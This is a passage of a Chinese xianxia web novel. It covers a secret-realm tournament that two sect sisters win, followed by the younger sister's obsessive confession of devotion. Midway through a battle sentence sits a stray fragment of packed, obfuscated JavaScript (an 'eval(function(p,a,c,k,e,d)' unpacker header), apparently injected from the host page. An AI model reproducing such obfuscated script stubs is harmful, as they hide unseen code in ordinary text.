望着江月平那开心的样子,徐听晚心中不禁涌起一丝内疚。原来,她一直渴望搬到亲传山头,拥有属于自己的院落吗? 在内门,一个院子里往往住着三到四个人,而亲传院落则是一个人一个院落。日后,即便成为长老,住处也不会改变,除非成为掌门,才需搬到掌门院落。 各宗的亲传弟子纷纷踏入秘境之中。 徐听晚缓缓睁开双眸,抬头之际,便见孟鹤立于她的身前。 “听闻孟道友,前段时日已成功迈入元婴初期之境。”言罢,徐听晚轻轻一挥,判决剑便已出鞘,闪烁着寒光。 不远处,初千墨猛地抬起头,她的目光瞬间紧紧锁定在了徐听晚的身上,心中不由自主地涌起了一阵激动之情。 “徐道友!”她脱口而出。 然而,孟鹤的神色却显得有些凝重。在进入此地之前,他们四人就已经商议过,如果一开始就遇到徐听晚,那将是最不理想的情况。 由于此地禁制飞行,众人只能静待夜幕降临,待那脚下的云石相互连接,方能与其师兄弟会合。 这些云石大小不一,有的是一整片广袤的树林般错落有致。有的云石之上是平坦的草原,有的则是连绵起伏的山川,有的流淌着潺潺的河流,有的则是深邃的沟壑。这一切皆是随机生成。 此刻,这片平原云石之上,仅有她们三人伫立。平原之上视野极为开阔,一眼望去,便能清晰地知晓周围的人数。 此处并无任何遮蔽之物,唯有凭借自身的实力,方能在这片秘境中立足。 此时,石观明正矗立于高山之巅的云石之上,他稳稳地站在浅云的背上,依据跟踪符咒的指引,率先踏上了寻找柳清云的征途。 他们五人依旧沿袭着先前的计划,目标明确地朝着与柳清云会合的地点进发。 另一边,徐听晚所在的战场迅速爆发了激烈的战斗。当她抽出符笔的那一刻,秘境外的人群皆是一惊,原来她真的是剑符双修,尽管这样的传闻一直存在,但始终无人敢轻易相信。 相比之下,早已知晓她剑符双修身份的孟鹤与初千墨则显得从容许多。尽管他们二人同为元婴初期,而徐听晚已至元婴巅峰,但并不意味着他们便毫无胜算。 徐听晚的储物袋中飞出了千千万万的符咒,她早已不再是当初那个连方位都难以辨清的徐听晚了。如今,她只需轻轻闭眼,随手一掷,符咒便能精准定位。主震卦阵法一经设立,便与她的雷灵根产生了强烈的共鸣,其威力在阵法的加持之下,更是翻倍增长。 秘境之外的沧澜符宗弟子们,原本呆板的脸上此刻已布满了惊愕,他们难以置信,徐听晚不仅剑符双修,而且还精通阵法,她的识海之力竟是如此深不可测。 要知道,大多数剑符双修的修士往往只能勉强驾驭符咒与画符之术,很难再有余力去钻研复杂的阵法之道。 书卷论坛上,关于徐听晚的讨论也是如火如荼,掀起了一阵惊涛骇浪。 随着徐听晚的精心调控,阵法被巧妙地一分为二,一半化为凌厉的杀阵,另一半则构筑起可随意操控的防御。初千墨紧握宜阳剑,剑尖微颤,在一旁蓄势待发,宛如一头即将脱缰的猛兽。孟鹤则高举长剑,以无畏之姿挡住了阵法中迸发出的雷击,气势如虹。 徐听晚趁机拿起判决,意图发动突袭,然而孟鹤却抢先一步,苍穹剑的剑气化作一道凌厉的冰刃,划破长空。徐听晚眉头微蹙,这剑气的轨迹竟如此刁钻,直逼下腹。她刚要跃起躲避,却猛然意识到这是对方的诱敌之计,于是身形猛地后仰,向前滑出数尺,险之又险地避开了这一击。 果然,初千墨趁势而上,脚踏冰刃,宜阳剑上烈焰熊熊,犹如一条火龙,直取徐听晚要害。这一剑若是刺中,虽无致命之伤,但剑上的火灵力却会顺势蔓延,破坏灵力护体,进而引燃腰间的出局符咒,使其瞬间出局。 徐听晚心中暗自赞叹对方的算计之深,随即加强了外部的灵力护体。作为剑修,她平时注重攻击,多数时候都将灵力凝结于体内,以便快速调控。而今看来,对方显然对她进行了深入的研究,这一招一式都直指要害连阵法防御都来不及操控。 万锋剑法之首式——寻刃决! 徐听晚身形一转,剑锋直指初千墨,后者见状,本能地以为对手会直取她腰间的符咒,连忙转身防御。然而,徐听晚的剑招却出乎意料,直刺初千墨肩头。初千墨措手不及,无法及时变换剑法,只能硬受这一击,同时汇聚灵力,准备反击。 徐听晚左手持符笔,巧妙抵住剑刃,指尖微转,借力腾空而起,与此同时,孟鹤挥出的剑气如电,直逼初千墨面门。 初千墨仓促回剑,却已难以完全抵挡,孟鹤见状,瞪大眼睛,欲以身挡剑。就在这生死存亡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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趁此机会,徐听晚身形落地,脚尖轻点地面,再次如离弦之箭般冲向孟鹤。一剑挥出,精准无误地刺中孟鹤腰间的符咒。 战斗,就此落幕。 眼见自己的大师兄与初妹相继被淘汰,月恒不禁紧锁眉头,所幸她睁眼之际,四周空无一人。她深知自己必须隐蔽好,静待黑夜降临,与傅亦舟会合。 月恒贴上一张上品敛息符,小心翼翼地藏匿于树林的茂密草丛之中。 就在这时,一阵突如其来的响动打破了周围的宁静,她感觉到似乎有人猛地撞上了她的后背。月恒不敢有丝毫迟疑,立刻转身,飞速向前逃去。而那个撞到她的人——柳清云,也同样贴上了上品极速符,不顾一切地向前狂奔。 然而,就在柳清云拼命奔逃之际,他的衣服突然被人紧紧拉住。 “四师弟!”一个熟悉的声音传来,让柳清云心中的紧张瞬间消散。他回过头,只见浅云正用龙爪轻轻勾住他的衣服,对着他眨了眨眼。与此同时,石观明从浅云的身上跃下,原来他是从上方的云石上飞下而来的。 此刻,所有的亲传弟子中,除了那些御兽修的契约兽能够飞翔、自由移动到其他云石的修士外,其余人都只能静待天黑,无法轻举妄动。 徐听晚静静地站在广阔的平原之上,周围是绵延不绝的绿草,宛如一片绿色的海洋。大风骤起,草浪翻滚,一波接一波地向她涌来,仿佛是大自然在向她致敬。她的发丝随风飞扬,如同仙子般的飘逸,手中的判决剑闪烁着冷冽的寒光,映照着她坚定的眼神。 她面无表情,目光深邃,静静地凝视着远方,仿佛要将整个世界都纳入眼底。这一刻,她忘却了战斗,忘却了纷争,只想沉浸在这片宁静之中,让心灵得到片刻的放松。夕阳的余晖洒在她的身上,为她披上了一层金色的光环,更添几分神圣与庄严。 判决剑的剑刃上,还残留着些许血迹,那是她前面战斗留下的痕迹。她将腰间的悲秋笔轻轻放回储物袋中,心中不禁感叹,秘境里的时间总是过得飞快。她只觉思绪稍微放空了一下,转眼间便已到了夕阳西下的时分。 天空中的云石开始缓缓移动,彼此相连。徐听晚收回了思绪,动了动手中的判决剑,身形开始变得灵动起来。她顺着跟踪符咒的指引,迅速向柳清云所在的方向赶去。心中不禁有些惊讶,没想到她这个四师弟竟然能够活过第一天。 月光黯淡无光,因为秘境中的那轮明月并非实体,仅是投射出微弱的光线。徐听晚已远离平原,步入茂密的林间,蓦地,耳畔捕捉到一缕细微的风声。 那声音微乎其微,徐听晚警觉地向后退了几步,眼前骤然显现一道符咒,紧接着,爆炸声轰然响起。 这威力,无疑是上品爆裂符所致。 一道人影迅速闪开,徐听晚左手迅速抽出三张上品爆裂符,朝那人影掷去,未料冲出的竟是梅问君,但他的眼神闪烁不定。徐听晚瞬间明悟,身形一闪,向前掠去。 一柄长剑自她身后呼啸而至,梅问君微微蹙眉,随即向徐听晚甩出爆裂符。 徐听晚左手一挥,将手中的上品爆裂符掷向梅问君甩来的符咒,两符相撞,瞬间引发剧烈的爆炸。徐听晚转身举剑抵挡,同时垂眸瞥见那人腰间悬挂的令牌——王若拂,沧澜符宗的亲传三弟子。 她那双可爱的圆眼此刻闪烁着狠厉的光芒,与逝去的沧澜符宗小弟子李莫离那温柔的可爱截然不同,此刻的王若拂显得极为暴躁而娇憨。 她周身环绕的水灵力如同汹涌的海浪,向徐听晚扑面而来。徐听晚皱眉翻剑,一剑挥出,将其击退,王若拂身形向后跃去。 紧接着,四张上品符纸向徐听晚袭来,她抬头望去,只见树上站着一位身材丰满的女子。 她的眉眼微微上扬,清冷的气质与其丰满的身材相得益彰,使其微弱的月光更加黯然失色。 她挥剑斩断两张符咒,侧身躲过剩余两张,但仍被爆炸波及,身上的护体灵力几乎被全部震散。 她警惕地环顾四周,发现树上那位女子正是沧澜符宗的亲传大师姐——司空瑾。 46.云石秘境 下 “与你交锋,实乃荣幸。”司空瑾的眼眸宛若秋水般深邃,她饱满的双唇轻启,吐露出的语气既奢靡又高贵,与沧澜符宗其他弟子的风格截然不同。她笑吟吟地望着徐听晚,眼神中闪烁着期待。 “哦?”徐听晚微微挑眉,眼中闪过一丝欣赏,随即从袖中取出悲秋笔,准备迎战。 大战一触即发,司空瑾与梅问君迅速展开符咒,为王若拂的开路做足了准备。王若拂则紧随其后,提剑而上。 徐听晚迅速运用八卦符咒定位,巧妙设下阵法,以防符咒爆炸波及无辜。考虑到只有王若拂一个剑修,近身攻击较少,她特意设下了主艮卦阵法以增强防御。 只见徐听晚甩出石盾符咒,成功挡住了符咒的爆炸。王若拂趁机翻过石盾,剑指徐听晚腰间。然而,徐听晚反应迅速,脚下一蹬,踩住王若拂的灵剑,翻身刺向她的腰间。就在这千钧一发之际,一张上品韧金符飞来,使徐听晚的判决剑偏移了方向。王若拂微微侧身,剑刃与她后背擦肩而过,留下一道长长的血痕。 气氛一时之间凝固至极,司空瑾缓缓开口:“看来二师弟所言非虚,你确实非同凡响。” 此时,梅问君迅速抓住王若拂向后拉去。王若拂嘴角勾起一抹激动的笑容,眼神向上望向徐听晚。她原本的圆眼此刻只露出一半黑瞳,闪烁着狡黠的光芒。徐听晚举起判决剑,沉声道:“你是不是上次那个秘境中最后剩下的三人之一?”她依稀记得那三人皆是沧澜符宗的弟子。 王若拂轻哼一声,再次拔剑向徐听晚冲去。徐听晚嘴角微扬,一脚踩在她的剑刃上,借力向司空瑾所在的树上跃去。司空瑾见状,迅速甩出数张上品爆裂符向徐听晚袭来。然而,徐听晚早已有所准备,一张上品土盾加上阵法的艮卦加持,轻松挡下了符咒的爆炸。她趁机拿起判决剑,一跃而下,直砍司空瑾而来。 司空瑾身形矫健,翻身向下跳出。早已在树下等候的王若拂迅速将其接住。 徐听晚轻笑一声,轻盈地踏在司空瑾刚才站立之处,未曾回头,便跃向前方的树木,向着远方疾驰而去,那个方向恰好是柳清云所在之处,想必他们已然集合。 三人被遗留的阵法牢牢困住,只能眼睁睁地看着徐听晚渐行渐远。 “大师姐,这可如何是好?”王若拂焦急地问道。 司空瑾轻声安抚:“冷静些。” 说罢,她迅速环顾四周,手腕微动,甩出一张八卦符咒,精准定位立阵之处,随即布下主坤卦阵法,将眼前的阵法一举破除。 眼见阵法已破,王若拂欲继续追击,却被司空瑾拉住:“先找到其他人再做打算。” 梅问君紧锁眉头,凝视着出局令牌,沉声道:“问书宗的张来风和顾无忧已经出局,如今只剩下四师弟了。” 徐听晚前行未及数步,便与江月平不期而遇。江月平步伐匆忙,朝这边赶来,然而柳清云所在的方向显然并非此处。 “小师妹?你怎会朝这个方向行走?”徐听晚目光中带着几分疑惑,紧紧盯着江月平的双眸。 江月平眼神微闪,迅速将手中的留影石藏入袖口之中。 “或许是我行走间出了差错。”江月平走近徐听晚,轻轻执起她的手,眉眼间满是温柔之色。 秘境之外的众人注视着水镜中的画面,一时之间竟呆愣当场,这与先前面无表情地将两人淘汰出局的江月平判若两人。 在众人眼中,她处理完那两人之后,只是随意瞥了一眼袖口,便急匆匆地朝这个方向奔来。 如此清冷孤傲、实力强大的女子,竟在大师姐面前展现出如此模样。 徐听晚抽回手,一脸难以置信地看着她。 “是吗?小师妹觉得我如此容易被搪塞过去?” 江月平的手落空,眼神微微下垂,随即浅笑道:“大师姐,我刚才瞧见那边有人,便绕了路,没想到走得有些偏离了。” 徐听晚皱了皱眉,虽觉此事仍有蹊跷,但转念一想也并无大碍,便没有再追问下去。 江月平眼神微眯,仿佛捕捉到了什么细微的动静,随即一张珍贵的上品爆裂符被他毫不犹豫地甩向了一旁的草丛。 徐听晚好奇地转过头,顺着江月平的目光望去。只见江月平面色瞬间变得冰冷,毫无表情地盯着那片草丛,仿佛要将它看穿。 万安缓缓举起双手,小心翼翼地走出草丛。当他看到江月平那冷若寒冰的眼神,以及刚才那张几乎擦身而过的上品爆裂符时,心中不禁一凛。那瞬间的擦身而过,竟让他的灵力屏障瞬间破碎。 他惊恐地看着江月平,心中暗自嘀咕:江道友何时变得如此阴沉了?虽然以前他也给人一种冰冷的感觉,但那是一种正义凛然的坚韧,而现在,却多了一种偏执的阴沉。 徐听晚平静地注视着万安,心中却暗自疑惑:他究竟知道了什么?当年为何那般害怕自己?但现在显然不是询问的好时机,于是她只是简单地看着他。 见万安依旧是一副恐惧的表情,徐听晚发现他现在看的并不是自己,而是……她顺着他的目光向后看去,只见江月平正抬眼温和地看着自己,仿佛在询问:大师姐,这人该如何处理? 万安眨了眨眼,心中暗自惊讶:这和刚才那个人真的是同一个人吗? 徐听晚没有多想,回过头,一剑挥出,直接将万安送出了局。 万安平静地接受了出局的事实,毕竟他本就技不如人,出局也不会危及生命。他一出局,便看到了问书宗的张道友和顾道友满身是血地坐在那里接受治疗。他们的眼神中充满了羡慕,仿佛在说:这么轻松就出局,命真好。 徐听晚望向江月平,心中暗自思量,总觉得她比往昔开朗了不少。 “咱们去找四师弟吧。”她轻声说道。 “好的,大师姐。”江月平迅速回应,语气中带着几分从前的未有的爽朗。 徐听晚微微蹙眉,忆起往昔,江月平或许只会简单地回应一个“嗯”。 “小师妹,你无需刻意迎合于我。”徐听晚轻叹一声,语气中带着几分无奈。 江月平面带浅笑,温柔地答道:“师姐多虑了,如今我已步入化神中期,行事皆随心而动,无人能够强求。” 徐听晚闻言,尴尬一笑,心中暗道:是啊,她都已化神中期,开心自是难免,自己干嘛要认为她是有意讨好…… 秘境外。 混元丹宗的常德掌门轻轻一笑,声音中带着几分赞许:“这一届的亲传弟子,确实非同凡响,远超我们当年。回想我们在这个年纪时,还仅仅处于金丹期左右,而他们之中,最低的修为都已是金丹中期了。” 坐在最高处的姜满,嘴角勾起一抹弧度,目光坚定:“修仙界就应当如此,充满生机与活力,这样魔修才没有丝毫可乘之机。” 闻堰代替徐君彦坐在掌门之位上,她骄傲地注视着水镜中的徐听晚和江月平,眼中满是期许。 沈怀溪瞥了一眼闻堰,眼神微微下垂,低声叹道:“不过是如今的世道对他们太过严苛罢了。”他的声音渐渐低沉,谢止寒闻言,目光闪烁,若有所思。 秘境里。 徐听晚回想起自己方才毅然甩开江月平手的情景,不禁有些尴尬,于是她缓缓伸出手,心中暗自思量,若能让江月平拒绝一次,或许心中的歉疚能减轻些许。然而,江月平却紧紧回握了她的手,诚挚地说道:“大师姐,这秘境之内,无人能敌我们二人联手。” 江月平此言非虚,在当前的亲传弟子之中,她二人的修为确实首屈一指,江月平的修为更是已超越了众多长老还有个别掌门。 “嗯。”徐听晚轻声应答,两人在这柔和的月色下,步履从容地前行。 不久,她们便与柳清云、温乐天和石观明三人会合。 五人立于浅云之巅,在这幽深的夜色中,开始了他们寻人诛敌的旅程。 当一位混元丹宗的弟子被浅云一尾扫飞,他怒目圆睁,狠狠地盯着他们五人,随后抽出灵剑,御剑而起,冷笑一声后,毅然撕毁符咒,离开了秘境。 既然都要出局了,那就都别好过! 随着他御剑产生的波动,原本巍峨的高山竟化作一只石鸟,直冲浅云而来。 秘境外,众多掌门神色凝重地注视着常德。 姜满厉声斥责道:“常掌门,这次又是你宗门下的弟子违规,进入秘境前我们反复强调不要御剑飞行,难道你的亲传弟子们都是聋子不成?” 炼虚期的强大威压使得地面微微震颤,常德紧咬牙关,顶着这股威压,脸上勉强挤出一丝浅笑,开口解释道:“我这小徒弟啊,从小就害怕高处,刚才御剑飞行,肯定是被吓得不轻才这样的。” 此刻,各书卷中的留影石正在实时投射,姜满不便再有其他举动,只好淡然说道:“常掌门,这已经不是第一次了,第二次总该有些惩罚吧。” “姜掌门说得是。”常德面色依旧如常地回应着,心中却暗自愤恨:“姜满,你给我等着。” “那就让混元丹宗免费为各宗门提供一年的基础丹药作为惩罚吧。”姜满说道。 其他掌门闻言,不禁面露惊讶之色,毕竟这可不是一笔小数目,连闻堰都深知这一点。 常德没想到姜满会如此严厉地处罚,他扯了扯嘴角,无奈地说道:“既然是姜掌门开口,那我们自然会遵从,毕竟这次确实是我们有错在先。”他的回答无可挑剔。 谢止寒的目光转向姜满,心中暗想,看来正如阿苏所说,现在的世道真是纷乱不堪。 秘境之中,月光朦胧,昏暗的光线里,石鸟猛然冲来的瞬间,徐听晚迅速回头,协助柳清云撕下了腰间的符咒。 与此同时,浅云不幸被石鸟巨大的翅膀击中,坠落而下。石观明眼疾手快,推开了身后的温乐天,然而他自己却未能幸免,被石鸟一口吞下。 浅云的消失,意味着石观明已出局。徐听晚眼疾手快,拉住了还未反应过来的温乐天。正当她准备御剑飞行时,身后突然有人紧紧抱住了她。 她稳稳地踏上了青云剑,顺势也将温乐天拉了上来,三人一同向远方疾驰而去。 然而,就在这电光火石之间,天地仿佛崩塌,令牌上不断闪烁着有人出局的信息。 “小师妹,放手。”徐听晚轻声细语,却带着不容置疑的坚定。 她腰间的手逐渐松开,徐听晚随即抽出判决剑,将温乐天护在身后,自己则站在青云剑的最前端,剑光如龙,将飞射而来的碎石一一劈开。 那石鸟似乎并无双眼,只是胡乱地飞翔着。它的石质身躯中夹杂着无数符咒,让徐听晚满心疑惑。 这并非妖兽,而是将神兽魂魄利用上古缚灵符咒强行压制在石头中所形成的怪物。 温乐天拍了拍徐听晚的肩膀,沉声道:“大师姐,我有个办法能拖延一段时间,你和小师妹去解决其他人。” “先说你的办法。”徐听晚无暇回头,全神贯注地抵挡着碎石的攻击。 “将我的黑子定位在它身上,应该能够短暂控制它的方向和行动。看不见的东西最容易操控,只需稍加引导便会发生偏移,而且它没有神志。” 徐听晚闻言点头,温乐天则取出飞行折扇,站了上去。黑子漫天飞舞,徐听晚以剑气为他清理障碍。 青云剑悄然降落,无声无息。失去声音的石鸟开始迷茫,它降落下来,胡乱地用翅膀横扫四周。 温乐天贴上上品敛息符,静静地躲避着石鸟的攻击,同时巧妙地利用黑子牵引着石鸟向一侧攻击。 他小心翼翼地在一旁操控着一切。 见石鸟并未跟来,徐听晚踏上了判决剑,江月平紧随其后,两人在空中搜寻着目标。 徐听晚细心地感知着周遭细微的灵力波动,而江月平则背靠着她,注视着相反的方向。 徐听晚微微眯起双眸,捕捉到了一道人影,随即猛地俯冲而下。与此同时,江月平也发现了另一人。 两人迅速分开行动,开始了迅猛的屠杀。 “司空瑾,司空道友!”徐听晚呼唤着她的名字。司空瑾闻声站住,目光落在徐听晚手中的剑上,嘴角勾起一抹笑意:“我不走了,让我们堂堂正正地比一场吧。” 徐听晚轻声回应:“好。” 话音未落,她的剑气已先行而至,紧贴着身体向司空瑾袭去。司空瑾一个后翻巧妙躲开,同时八卦阵法瞬间布成,挡住了徐听晚的剑刃。她轻笑一声,一边以符笔迅速绘制符咒,一边向徐听晚甩出了几张上品爆裂符。 狂风在两人周围肆虐,吹乱了她们的发丝,气氛紧张至极。 徐听晚面无表情地盯着司空瑾,在她的惊讶目光中,阵法竟被生生劈开,甩出的符咒也被徐听晚硬生生接下。 紧接着,徐听晚的一剑便刺了过来。 若非太过着急,她本不会被炸伤。五六张上品爆裂符在她身上炸开,留下了道道血痕。幸亏她用左手护住了腰间的符咒,才未被淘汰出局。 司空瑾瞪大了眼睛,只见那一剑瞬间刺穿了符咒和她的身体,速度之快令人咋舌。 徐听晚擦了擦睫毛上的血珠,打开出局令牌查看,发现包括她们在内,还剩下五个人。 然而就在这一瞬间,温乐天出局了。 温乐天坚持了许久,碎石在他身上留下了无数刮伤,但他都强忍了下来。然而当碎石冲向腰间的符咒时,他不得不拿出双弯刀抵挡。那细微的声音被石鸟捕捉,随即向他发起了猛烈的攻击。 温乐天躲避了许久,直到被砸得再也站不起来,最终被石鸟吞入腹中,才撕毁了符咒。 被石鸟吞入腹中的感觉痛苦不堪,里面全是尖锐的石头,不断碾压着他的身体。 然而被吃下并不意味着被吞噬,因为石鸟只是石头。它虽然保留着吃东西的天性,但终究只是石头无法吞噬,只会把人夹在里面。在里面多带一分都剧痛不已,这对他来说,无疑是一种极大的折磨,根本没有办法控制自己的身体保护腰间的符咒。 徐听晚目睹着石鸟振翅向她身后疾飞,而江月平正身处那危险之地。 她毫不犹豫地疾步奔去,在这千钧一发之际,徐听晚猛地一把将江月平拽入怀中。石鸟反应迅捷,瞬间张嘴狠狠咬住了两人的腿部。 徐听晚咬紧牙关,强忍着剧痛,奋力挥剑,重重敲碎了石鸟那尖锐的石喙,随后拼尽全力将江月平推了出去。 “月平,快去找那两个人,我来拖住它!”她朝着江月平大声呼喊,而江月平的双眸中满是担忧,紧紧盯着她。 “快去!”徐听晚再次催促道。 闻言,江月平的眼眶瞬间泛红,转身快步离去。 徐听晚不幸被石鸟一口吞下,她的鲜血顺着嘴角流入自己的口中。她一手紧紧捂住腰间的符咒,一手牢牢握着判决剑,深吸一口气,鼓足勇气,奋力向四周挥舞着剑气。 石鸟身上的石块开始纷纷掉落,它变得愈发狂暴,猛烈地捶打着自己的身体。徐听晚艰难地从石鸟身体的一道裂缝中单手挣扎而出,此时她的身上已是血肉模糊。 她的判决剑上沾满了自己的鲜血,此刻,她唯有手中的这把剑,以及自己这一副血肉之躯可以依靠。 她睁开那双血红的眼睛,鲜血顺着眼角无意识地滑落。极致的痛苦让她无暇多想,只能凭借本能战斗。 她闭上眼睛,却在黑 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谢止寒在众人注视下,面色凝重地走到温乐天身旁,轻轻擦拭着他脸上的血迹。 温乐天目光紧锁水镜,激动万分地喊道:“大师姐简直太帅了!!!” 柳清云郁闷地坐在一旁,他尚未有所行动,便被大师姐送出了局。还好卿卿并未嫌弃他,还给予了他安慰,卿卿真是太好了! 刚刚被淘汰的司空瑾收敛起浅笑,眉头紧锁,一脸严肃。她原以为自己对自己已经足够狠辣,没想到…… 王若拂气鼓鼓地走到她身边,目光中满是担忧,注视着她腰间的伤口。 她重新展露笑颜,出声安慰王若拂道:“没事的。” 闻堰激动地说道:“听晚简直和大师兄年轻时一模一样。” 一旁的姜满紧皱眉头,眼神中透露出深深的心疼。 秘境里,徐听晚一步步躲避攻击抵达石鸟头顶,手中利剑一闪,精准刺入,随即左手用力下压,彻底将其贯穿。 石鸟的头部瞬间破碎,却又奇迹般地缓缓聚拢复原。 徐听晚面色冷漠,动作不停,一遍遍重复着这一刺击。石鸟的翅膀、脖颈、身躯乃至鸟爪,均被她无情地刺穿多次,伤口累累。 她的动作迅捷无比,石鸟根本无从反应,其聚拢的速度也随之愈发迟缓。 此刻的徐听晚,宛如杀神降临,腰间的出局符咒已被鲜血浸透,发丝在风中凌乱飞舞,眼神却紧紧锁定石鸟,手中剑鞘闪烁着紫电之光。 另一边,江月平终于找到了月恒和傅亦舟二人。未及多言,她续满灵力于脚,一脚将二人踹倒在地,随后干净利落地一剑斩断了他们腰间的符咒。 她目光瞥向远处的石鸟,毫不犹豫地迅速赶去。 随着清晨的第一缕阳光洒落,这一夜的波折与纷争终于告一段落。 江月平望着浑身浴血的徐听晚单膝跪地,轻声说道:“大师姐,我们赢了,是第一。” 徐听晚闻声抬头,只见石鸟仍在缓慢恢复之中。 江月平眼神一凝,紧握双拳,走到徐听晚身前,毅然将剑刺入自己心口,以心头血为墨,用寒雪笔绘下爆裂符,随后倾尽全力甩出。 一声巨响,周围瞬间化为火海。江月平口吐鲜血,面色依旧冷漠,凝视着崩塌的秘境,随后转过头,眉头紧锁,心疼地望着徐听晚。 徐听晚已打散石鸟身上的诸多符咒,而江月平这全力一击更是彻底摧毁了剩余的一切。可以说,是她们两人合力将整个秘境毁于一旦。 江月平强忍内心的波澜,撕下了自己和大师姐腰间的符咒。 秘境之外的人群皆是一脸呆滞,书卷论坛上更是出现了瞬间的沉寂。 那些吹捧两人的,谩骂两人的,此刻都纷纷闭上了嘴巴。 谢止寒凝视着满脸血迹的徐听晚,耳边回响起阿苏曾经的叮咛:“千万不能让徐听晚误入歧途。” 柳清云迅速迈步上前,将徐听晚扶住。江月平见到大师姐被人稳住,心中稍安,随即闭上眼睛,因灵力耗尽而陷入了昏迷。 徐听晚在将手中的判决剑收起之后,身体也随之无力地倒下。 她缓缓睁开眼睛,鼻尖萦绕的药香令她不禁微微蹙起眉头,她对苦涩之物向来避之不及。 月光轻洒在窗边,而江月平正静静地坐在她的床边守候。 窗外飘起了雪花,寒风顺着窗缝悄然侵入,将室内的血腥气息悄然吹散。 “叶长老吩咐不要关窗,说是要让寒风助力灵药汁液发挥效用。”江月平的声音轻柔至极,她轻轻转过头,目光温柔地望向徐听晚。 徐听晚凝视着江月平那张略显苍白的脸庞,轻声说道:“月平,你去休息吧。” 然而,江月平却如雕塑般纹丝不动地坐在那里。 徐听晚挣扎着想要起身,江月平见状,顿时手足无措,慌忙伸手护在她的两旁。 “月平,你真的很厉害。” 徐听晚欲言又止,她胸口的衣领微微敞开,江月平的眼神瞬间慌乱起来,不知该看向何处,徐听晚误以为她是因自己的心思被看穿而感到慌张。 “小师妹,你可有想过要当掌门?” 听到此言,江月平一时愣住,徐听晚轻笑一声,道:“此处只有你我二人,直说便是,无需有太多顾忌,我们公平竞争便是。” “不是的,大师姐。”江月平眼眶泛红,神色焦急,她咬紧牙关,深吸一口气,又缓缓吐出,满脸无奈地说道:“大师姐,我从未想过要当什么掌门,我只想永远陪在你身边。”说着,她轻轻拿起徐听晚的手,将其贴在自己的脸颊上,继续说道:“大师姐,请你相信我,相信我。”言罢,她的泪水悄然落在徐听晚的手心。 徐听晚面对这突如其来的场面,一时之间有些不知所措,小师妹这究竟是何意? 她曾设想过无数种可能,却唯独未曾料到会是这样一番情景。 “月平?” 江月平抬头望向她,那双疲倦而泛红的眼眸中满是可怜与委屈。 徐听晚感受到手心的湿润,一时之间竟不知该如何言语。 这感觉,好生奇怪。 “我相信你,别再哭了。”徐听晚无奈地开口,事情怎会演变成这般模样? 江月平紧紧搂住徐听晚的脖子,将头靠在她的肩膀上,她的眼神变得冰冷而深邃,一字一顿地说道:“大师姐,我感觉自己快要崩溃了。” 她心中涌起一股强烈的占有欲,渴望能将大师姐永远留在自己身边,希望她的目光只聚焦在自己一人身上,甚至幻想让自己的鲜血染遍她的全身。 徐听晚感受到了江月平身体的颤抖,意识到她对自己的依赖超乎寻常。她轻轻地拍了拍江月平的后背,用柔和的语气安慰道:“去休息一下吧,阿月。我相信你,你会一直站在我这边的,对吗?” 江月平颤抖着手慢慢松开了徐听晚,双眼赤红地盯着她,声音中带着决绝:“无论你如何利用我,我都无所谓,但请不要舍弃我。” 徐听晚似乎没料到她会如此回答,心中不禁为刚才那句试探性的言语感到一丝后悔。 她有些语无伦次地解释道:“对不起,小师妹,我……” 江月平无奈地笑了笑,眼神中满是偏执,她再次一字一顿地说道:“没关系的,大师姐。如果你骗我并伤害了无辜之人,我愿意替你去死,去赎罪,哪怕因此陷入永世不得超生的境地。” 徐听晚被这番话吓得心头一颤,心跳不禁加速。好奇怪的感觉,好疯狂…… 47.回宗 三月之后,徐听晚的伤势已痊愈大半。在叶含山和闻堰的带领下,五人重返宗门。 许久未曾踏足这地,心中难免生出几分感慨。 “我怎么觉得宗门比从前更加繁华了呢?”柳清云微微皱眉,疑惑地说道。 闻堰闻言,笑着解释道:“自那次秘境对决后,我们宗门的招生情况彻底超越了玄天剑宗。人数增多,自然需要扩建,加之许多商户都愿意与我们合作,我们的符咒和丹药,只要贴上小晚的标签,便能大卖!” 徐听晚步入宗门,只见众多宗门弟子正等候在门口。她略显不自在地环顾四周,微微蹙起了眉头。 人群见状,纷纷退让。徐听晚回到自己的院落,原本紧绷的脸庞终于放松下来。然而,暖玉花需待来年春末方能绽放,这屋子又显得格外冷清。 她静静地坐在房间中,翻阅着阵法书籍。直至书卷在储物袋中微微泛起光芒,她取出书卷,只见是温乐天发来的消息:“大师姐,出来吃庆功宴吧,就我们五个人!” 徐听晚嘴角不禁泛起一丝微笑,心中暗自思量着一个游戏,打算在饭桌上与大家一同分享。 沉寂已久的心,再次焕发出活力。她仿佛已经许久未曾如此开怀过了。 她披上了带有毛绒边的披风,独自一人在院子中欢快地蹦蹦跳跳,滑行着前进。脸上绽放出灿烂的笑容,满心期待着即将到来的聚餐。 她一步一滑地来到了门口,风儿轻轻抓住了她的发丝,将它们向后扬起。当她踏入雪地时,脚下发出了吱呀吱呀的声响。她手持书卷,向温乐天温和地问道:“你着急吗?” “不急不急,”温乐天回答道,“我正在点菜呢,清云去买酒了。” 徐听晚看到他的消息后,嘴角不禁微微上扬。她决定不再御剑飞行,毕竟自从来到这里后,她还没有好好地四处走走看看。 她拿起书卷,继续与温乐天聊天:“观明和月平呢?” 温乐天回复道:“二师兄去登记了,我们离开了三年,这去向记录他怕是要写上好一阵子。你不是让小师妹住你隔壁吗?她已经去和叶长老说了,现在应该回去收拾东西了。” 徐听晚眨了眨眼,回复道:“好,我马上就来。” 回复完消息后,她一抬头,便看见江月平正站在门口,脸上带着浅浅的微笑,正静静地注视着她。 “大师姐,我们一起走吧。”江月平平静地说道。 她刚才一边使用留影石留意着大师姐这边的情况,一边快速地整理着自己,就是为了能够恰好碰上大师姐,和她一起过去。 徐听晚点了点头,说道:“走吧。” 两人走出了亲传弟子的山头,来到了广场上。此时,天空突然飘起了雪花。 路过的宗门弟子们纷纷向她们招手打招呼:“徐师姐,江师姐。” 在宗门中,亲传弟子是众弟子的领头人物,是大家的师姐、师兄。 徐听晚和江月平都微笑着点头示意,回应着弟子们的问候。 刚才,两名女弟子从旁经过,渐行渐远后,其中一人兴奋地低语:“徐师姐和江师姐真高冷啊。” “虽说徐师姐与掌门是父女,但两人的性格却大相径庭。” “对了,我听说林前辈并非徐师姐的生母。” “哦?” “不过,掌门确实是徐师姐的亲生父亲。” “这究竟是怎么一回事呢?” 